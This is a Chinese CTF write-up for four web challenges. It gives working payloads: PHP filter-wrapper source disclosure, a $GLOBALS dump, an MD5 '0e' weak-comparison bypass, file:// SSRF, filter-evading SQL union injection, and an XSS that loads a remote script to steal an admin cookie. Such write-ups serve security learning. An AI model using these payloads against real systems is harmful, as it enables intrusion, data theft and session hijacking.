Cosmos的博客后台
-
涉及内容
- PHP 伪协议
- 文件包含
Hint:flag保存在根目录下
打开发现是一个登陆页面,注意到URL有一个参数是action
,如下:
http://xxxxxxx/?action=login.php
尝试伪协议获取login源码:
?action=php://filter/convert.base64-encode/resource=login.php
发现可以获取,源码如下(去掉了无用部分):
<?php
include "config.php";
session_start();
//Only for debug
if (DEBUG_MODE){
if(isset($_GET['debug'])) {
$debug = $_GET['debug'];
if (!preg_match("/^[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*$/", $debug)) {
die("args error!");
}
eval("var_dump($$debug);");
}
}
if(isset($_SESSION['username'])) {
header("Location: admin.php");
exit();
}
else {
if (isset($_POST['username']) && isset($_POST['password'])) {
if ($admin_password == md5($_POST['password']) && $_POST['username'] === $admin_username){
$_SESSION['username'] = $_POST['username'];
header("Location: admin.php");
exit();
}
else {
echo "用户名或密码错误";
}
}
}
?>
登录需要知道admin_username
和admin_password
的值,盲猜应该是在config
文件里面定义的,但是被过滤,无法直接读取config.php
,需要从其他地方下手。于是想到了超全局变量$GLOBALS
。通过$debug=GLOBALS
可以获取当前定义的所有变量值,得到:
["admin_username"]=> string(7) "Cosmos!"
["admin_password"]=> string(32) "0e114902927253523756713132279690"
密码是经过MD5加密的,无法得到原密码,还是老套路,密码直接尝试输入QNKCDZO
,登陆成功。
这里利用的是PHP弱类型。
如果两个比较的字符串都是0e开头,那么比较时会被当成科学计数法,运算结果为0。从而原本不相等的两个字符串在此通过弱比较。
进入后台后,没发现什么特别的地方,回到login
页面,尝试读取admin.php
,源码如下(去掉无用部分):
<?php
include "config.php";
session_start();
if(!isset($_SESSION['username'])) {
header('Location: index.php');
exit();
}
function insert_img() {
if (isset($_POST['img_url'])) {
$img_url = @$_POST['img_url'];
$url_array = parse_url($img_url);
if (@$url_array['host'] !== "localhost" && $url_array['host'] !== "timgsa.baidu.com") {
return false;
}
$c = curl_init();
curl_setopt($c, CURLOPT_URL, $img_url);
curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
$res = curl_exec($c);
curl_close($c);
$avatar = base64_encode($res);
if(filter_var($img_url, FILTER_VALIDATE_URL)) {
return $avatar;
}
}
else {
return base64_encode(file_get_contents("static/logo.png"));
}
}
?>
发现只能接受localhost
和timgsa.baidu.com
的外链内容,然后它会通过curl
访问该URL获取图片。这里注意到图片在页面中是以data:image/jpeg;base64,+base64_code
的方法嵌入的,想到可以利用file
协议使curl
读出flag内容,然后将其嵌入到页面源码中,从而获取flag。
这是在RFC2397中定义的Data URI scheme.
Data URI scheme 允许我们使用内联(inline-code)的方式在网页中包含数据,目的是将一些小的数据,直接嵌入到网页中,从而不用再从外部文件载入。常用于将图片嵌入网页。
构造payload:
file://localhost/../../../../../../../../../flag
等待网页更新后,发现图片加载失败,于是查看源码发现图片处:
<img height="200" width="500"
src="data:image/jpeg;base64,aGdhbWV7cEhwXzFzX1RoM19CM3NUX0w0bkd1NGdFIUAhfQo=">
解码后得flag。
Cosmos的留言板
-
涉及内容
- SQL注入
初步测试,发现参数id
可注入,同时初步测试出空格和select
被过滤,可分别使用/**/
和双写绕过。
然后就是一个很简单的注入了。
Payload:
id=%27%2f**%2funion%2f**%2fselselectect%2f**%2fdatabase()%3b%23
得到数据库名easysql
id=%27union%2f**%2fselselectect%2f**%2fgroup_concat(table_name)%2f**%2ffrom% 2f**%2finformation_schema.tables%2f**%2fwhere%2f**%2ftable_schema%3d%27easysql%27%3b%23
得到表名f1aggggggggggggg
id=%27%2f**%2funion%2f**%2fselselectect%2f**%2fgroup_concat(column_name)%2f* *%2ffrom%2f**%2finformation_schema.columns%2f**%2fwhere%2f**%2ftable_name%3 d%27f1aggggggggggggg%27%2f**%2fand%2f**%2ftable_schema%3d%27easysql%27%3b%23
得到字段名fl4444444g
id=%27%2f**%2funion%2f**%2fselselectect%2f**%2ffl4444444g%2f**%2ffrom%2f**%2ff1aggggggggggggg%3b%23
得到flag.
Cosmos的新语言
-
涉及内容
- 简单脚本
进入页面,发现页面直接给了源码和一串密文,找找线索,有file_get_contents('mycode')
,于是尝试访问mycode
看到生成密文的源码:
function encrypt($str){
$result = '';
for($i = 0; $i < strlen($str); $i++){
$result .= chr(ord($str[$i]) + 1);
}
return $result;
}
echo(strrev(str_rot13(strrev(base64_encode(str_rot13(str_rot13(str_rot13(str_rot13(strrev(encrypt($_SERVER['token'])))))))))));
if(@$_POST['token'] === $_SERVER['token']){
echo($_SERVER['flag']);
}
可以看到他对token
进行了一系列操作,只要post
过去一个原始token
就可以得到flag。
刷新几次后发现每隔几秒钟会刷新一下,这些编码函数都是随机生成的,所以写脚本如下:
<?php
function decrypt($str){
$result = '';
for($i = 0; $i < strlen($str); $i++){
$result .= chr(ord($str[$i]) - 1);
}
return $result;
}
$url="http://11fd5a58f8.php.hgame.n3ko.co";
$token=file_get_contents($url);
$token=explode("\n", $token);
$token=$token[4];
// echo $token;
$resource=file_get_contents($url."/mycode");
$resource=explode("\n",$resource);
// echo $resource[8]."<br>";
$resource=explode("(", $resource[8]);
// foreach ($resource as $item){
// echo "~".$item."~<br>";
for ($i=1;$i<=10;$i++){
switch ($resource[$i]){
case 'base64_encode':
$token = base64_decode($token);
break;
case 'strrev':
$token = strrev($token);
break;
case 'str_rot13':
$token = str_rot13($token);
break;
case 'encrypt':
$token = decrypt($token);
break;
}
}
$opts["http"]=array(
"method" => "POST",
"header" => "Content-type: application/x-www-form-urlencoded",
"content" => http_build_query(array("token" => $token))
);
$content=stream_context_create($opts);
$response=file_get_contents($url,false,$content);
echo "<br>".$response;
本地运行直接得到flag。
Cosmos的聊天室
-
涉及内容
- XSS攻击
打开页面如下:
发现留言板正则过滤了所有的标签,这点可以利用浏览器的容错性进行绕过,不闭合右标签,最后加注释即可。
另外留言板也将所有字母转为大写,可用HTML字符实体进行绕过。
右上角提示flag is here
,打开返回内容:
Only admin can get the flag, your token shows that you're not admin!
需要获取管理员身份,才能获取flag。
于是构建payload,利用xss
平台想办法获取管理员的cookie
。
<img src=x onerror=s=cr&#....... //
其中编码内容为:
s=createElement('script');body.appendChild(s);s.src='xss_url';
至于后面的6位md5
验证码,写脚本进行碰撞即可:
import hashlib
md5v ="验证码的值"
def sb(md5v):
for x in range(1,10000000):
md5_value=hashlib.md5(str(x).encode('utf-8')).hexdigest()
if md5_value[:6]==md5v:
return str(x)
print(sb(md5v))
提交即可。
这个bot好像有点什么问题,我刚开始还以为是我payload有问题,换了n种,结果最后不是我的问题,同一个payload传了八百万次,终于有一次收到cookie了(就一次),真的是心态爆炸
xss
平台上得到的信息如下:
拿到token
了,修改cookie
,伪装成admin身份,然后打开flag页面,发现输出了flag。
(个人整理,如有错误欢迎指正)